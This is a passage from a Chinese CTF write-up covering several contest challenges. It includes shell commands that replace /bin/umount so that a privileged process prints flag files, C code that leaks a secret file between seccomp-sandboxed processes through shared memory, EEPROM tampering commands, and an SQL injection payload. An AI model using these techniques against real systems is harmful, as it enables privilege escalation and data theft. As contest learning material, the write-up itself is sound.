echo "#!/bin/sh" > /bin/umount
echo "cat /flag2" >> /bin/umount
chmod +x /bin/umount
exit

就可以拿到第二个 Flag。

而第一个 Flag 是同样的道理

1
2
3
4
5
rm /bin/umount
echo "#!/bin/sh" > /bin/umount
echo "cat /chall" >> /bin/umount
chmod +x /bin/umount
exit

26. 看不见的彼方

seccomp 限制了网络的使用

创建管道似乎需要能访问相同路径的文件,行不通。

找了个共享内存的代码 进程间的通信方式(一):共享内存。但是由于不能访问相同目录,把 ftok 改成特定值即可(百度百科偶尔还是有用处的)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>

#define BUFSZ 512

int main() {
    key_t key = 0x1234;
    char secret[100];
    // open file /secret and read
    FILE* fp = fopen("/secret", "r");
    fgets(secret, 100, fp);

    int shmid = shmget(key, BUFSZ, IPC_CREAT | 0666);  // 创建共享内存
    char* shmadd = shmat(shmid, NULL, 0);              // 映射
    bzero(shmadd, BUFSZ);                              // 共享内存清空
    strcpy(shmadd, secret);                            // 写入共享内存
    return 0;
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/shm.h>

#define BUFSZ 512

int main() {
    key_t key = 0x1234;
    int shmid = shmget(key, BUFSZ, IPC_CREAT | 0666);  // 打开共享内存
    char* shmadd = shmat(shmid, NULL, 0);              // 映射
    printf("%s", shmadd);                              // 读共享内存区数据
    int ret = shmdt(shmadd);                           // 分离共享内存和当前进程
    shmctl(shmid, IPC_RMID, NULL);                     // 删除共享内存
    return 0;
}

如果上传提示 glibc 版本不兼容,在编译时加上 -static


27. 量子藏宝图

我看到数学公式就犯困

第一问,找到一份代码,改改运行

第二问,也找一份代码,把元件都标上,运行

代码见 qkd.pyBernsteinVaziraniAlgorithmSimple.ipynb

分别参考了 videlanicolas/QKDatilsamancioglu/QX05-BernsteinVaziraniAlgorithmSimple


28. 《关于 RoboGame 的轮子永远调不准速度这件事》

原来以为是要找漏洞。后来发现 r T 可以读数据

写个脚本把 EEPROM 的程序全读出来

一开始想把随机数的值改掉,结果没有作用

后来想把 + 9 改掉。结果把 3 号页的 9 抹掉以后,发现程序开始以奇怪的方式跑起来了,经过一段时间的观察,发现此时这个程序会按顺序分别将两边的数字设置为 1,0,1,2,0,0,0,而这道题目只需要出现连续 3 次相同的数字就可以过了。

1
2
3
4
5
6
7
8
w T 65 3 0 9 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
w 1 1 1     # 两边写 1
w 1 1 1     # 两边写 0
w 7 1 0     # 两边写 1    7 为 0
w 1 1 1     # 两边写 2
w 9 1 0     # 两边写 0    8 9 0 为 0
w 2 1 0     # 两边写 0    1 2 3 为 0
w 5 1 0     # 两边写 0    4 5 6 为 0

好像第一行改成 w T 3 3 0 9 就不行,推测是把寻址的基址给改到奇奇怪怪的地方了。

然后把所有轮子的速度读出来,十六进制转 ASCII 就过了

发送信息及读取的代码见 script.py communicate.py


30. 企鹅拼盘

这么简单我闭眼都可以!

手动枚举

大力当然出奇迹啦~

改改程序,暴力

代码
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import json
import itertools
from icecream import ic
import time


class Board:
    def __init__(self):
        self.b = [[i * 4 + j for j in range(4)] for i in range(4)]

    def _blkpos(self):
        for i in range(4):
            for j in range(4):
                if self.b[i][j] == 15:
                    return (i, j)

    def reset(self):
        for i in range(4):
            for j in range(4):
                self.b[i][j] = i * 4 + j

    def move(self, moves):
        for m in moves:
            i, j = self._blkpos()
            if m == 'L':
                self.b[i][j] = self.b[i][j - 1]
                self.b[i][j - 1] = 15
            elif m == 'R':
                self.b[i][j] = self.b[i][j + 1]
                self.b[i][j + 1] = 15
            elif m == 'U':
                self.b[i][j] = self.b[i - 1][j]
                self.b[i - 1][j] = 15
            else:
                self.b[i][j] = self.b[i + 1][j]
                self.b[i + 1][j] = 15

    def __bool__(self):
        for i in range(4):
            for j in range(4):
                if self.b[i][j] != i * 4 + j:
                    return True
        return False


def run(bitlength, inputString):
    board = Board()
    filename = f'chals/b{bitlength}.json'
    with open(filename) as f:
        branches = json.load(f)
    assert len(branches) == bitlength**2

    for i in range(len(branches)):
        if inputString[branches[i][0]] == '1':
            board.move(branches[i][1])
        else:
            board.move(branches[i][2])
    return board


startTime = time.time()


def main():
    bitlength = 16
    # generate 0000, ..., 1111
    allPossibleInputs = [''.join(x) for x in itertools.product('01', repeat=bitlength)]
    count = 0
    for inputString in allPossibleInputs:
        board = run(bitlength, inputString)
        if board:
            ic(inputString)
        count += 1
        duration = time.time() - startTime
        if count % 1000 == 0:
            ic(count, duration)


main()

第三问不会


32. 火眼金睛的小 E

有手就行

objdump 转成汇编,分析代码间的行数、LCS 的匹配程度。 按照这两个特征排序,枚举所有函数

其实如果只做第一问直接枚举所有函数就行了

代码写得比较乱,就不放了


未完成

题目名称 说明
21 矩阵之困 拿 z3 解了几个小时没解出来
22 你先别急 发现可以 SQL 注入 ' or 1=1 #。但我不太会 SQL 注入,不知道怎么继续
29 壹…壹字节? 我只会把所有一字节的字符发给服务器
31 小 Z 的靓号钱包 配置好环境了,也知道随机数是 32 位的了。但代码有点没看懂
33 evilCallback 没发现有 .diff 文件,还以为要玄学测试。虽然发现了我大概率也做不出来

总结

  • 最后一天起得不够早,虽然起得早也最多多做一道题
  • 勉强在比赛期间把 CTF Wiki 翻了一遍,了解了 CTF 的常见题型
  • 从比赛的题目中也学到许多,比如从 二次元神经网络 中知道了确实存在代码注入的漏洞,从 传达不到的文件 中了解了通过劫持程序来实现越权